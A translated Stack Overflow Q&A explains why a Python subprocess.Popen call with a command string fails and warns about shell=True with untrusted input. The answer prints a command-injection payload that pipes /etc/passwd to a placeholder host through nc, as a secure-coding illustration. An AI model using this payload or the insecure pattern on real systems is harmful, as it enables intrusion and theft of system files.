【问题标题】:Launch linux command via python subprocess doesn't work as expected通过 python 子进程启动 linux 命令无法按预期工作
【发布时间】:2016-03-08 04:37:05
【问题描述】:

我正在尝试杀死之前启动的特定 python 进程,我们称之为test.py
linux 中终止它的命令是:sudo pkill -f test.py-> 就像一个魅力。

但是,当尝试通过 python 代码启动时:
subprocess.Popen('sudo pkill -f test.py', stdout=subprocess.PIPE)
我得到了OSError: [Errno 2] No such file or directory 的堆栈跟踪

知道我做错了什么吗?

【问题讨论】:

  • 你需要使用os.killpg来杀死一个进程。为此,您需要进程的pid
  • @jayant sudo 部分将很难使用系统调用来模拟...

标签: python linux python-2.7 ubuntu subprocess


【解决方案1】:

默认情况下,subprocess.Popen 会将字符串参数解释为确切的命令名称。因此,您传递一个字符串foo bar,它将尝试定位一个名为foo bar 的可执行文件并在不带参数的情况下调用它。与交互式 shell 不同,它不会执行带有单个参数 bar 的命令 foo

当您在 shell 中键入 foo "bar baz"foo | bar 时,shell 会将参数行拆分为单词并将这些单词解释为命令名称、参数、管道分隔符、重定向运算符等。 subprocess.Popen 做这种输入解释同样是通过使用 shell=True 请求通过 shell 传递参数:

subprocess.Popen('sudo pkill -f test.py', shell=True, stdout=subprocess.PIPE)

不幸的是,作为noted in the documentation,这个方便的快捷方式具有安全隐患。只要运行的命令是固定的,使用shell=True 是安全的(并且忽略允许明显无密码的sudo 的明显安全隐患。)当参数是从来自其他来源的片段组装时出现的问题。例如:

# XXX security risk
subprocess.Popen('sudo pkill -f %s' % socket.read(), shell=True,
                 stdout=subprocess.PIPE)

这里我们从网络连接中读取参数,并将其拼接成一个字符串传递给 shell。除了恶意制作的对等点能够杀死系统上的任意进程(以 root 身份,不少于)这一明显问题之外,它实际上比这更糟糕。由于 shell 是一种通用工具,因此攻击者可以使用command substitution 和类似功能使系统为所欲为。比如socket发送字符串$(cat /etc/passwd | nc SOMEHOST; echo process-name),上面的Popen会使用shell来执行:

sudo pkill -f $(cat /etc/passwd | nc SOMEHOST; echo process-name)

这就是为什么通常建议不要在不受信任的输入上使用shell=True 。更安全的选择是避免运行 shell:

# smaller risk
cmd = ['sudo', 'pkill', '-f', socket.read()]
subprocess.Popen(cmd, stdout=subprocess.PIPE)

在这种情况下,即使恶意对等方在字符串中插入了一些奇怪的东西,也不会成为问题,因为它会按字面意思发送到命令执行。在上面的示例中,pkill 命令会收到一个请求以终止名为 $(cat ...) 的进程,但不会有 shell 解释此请求以执行括号内的命令。

即使没有 shell,如果执行的命令(在本例中为 sudopkill)本身容易受到注入攻击,使用不可信输入调用外部命令仍然可能是不安全的。

【讨论】:

  • 谢谢,但我听说由于安全原因不推荐使用shell=true,也许没有shell 有另一种解决方法?
  • 另外我想知道shell=true的确切含义,我不确定我理解它的确切含义
  • @JavaSa 我已经扩展了答案以包含有关shell=True 的更多信息。另外,别忘了咨询the documentation
  • 非常感谢您提供的非常翔实的回答,我现在明白了,只是不明白为什么第二个选项的风险要小得多,因为这两个示例都是从外部来源读取的。
  • @JavaSa 因为,当不涉及 shell 时,没有理由将 $(cat ...) 解释为常规参数以外的任何内容。我已经更新了答案以明确提及。
猜你喜欢
  • 1970-01-01
  • 2018-09-16
  • 2014-11-28
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2023-03-25
  • 1970-01-01
  • 2019-07-31
相关资源
最近更新 更多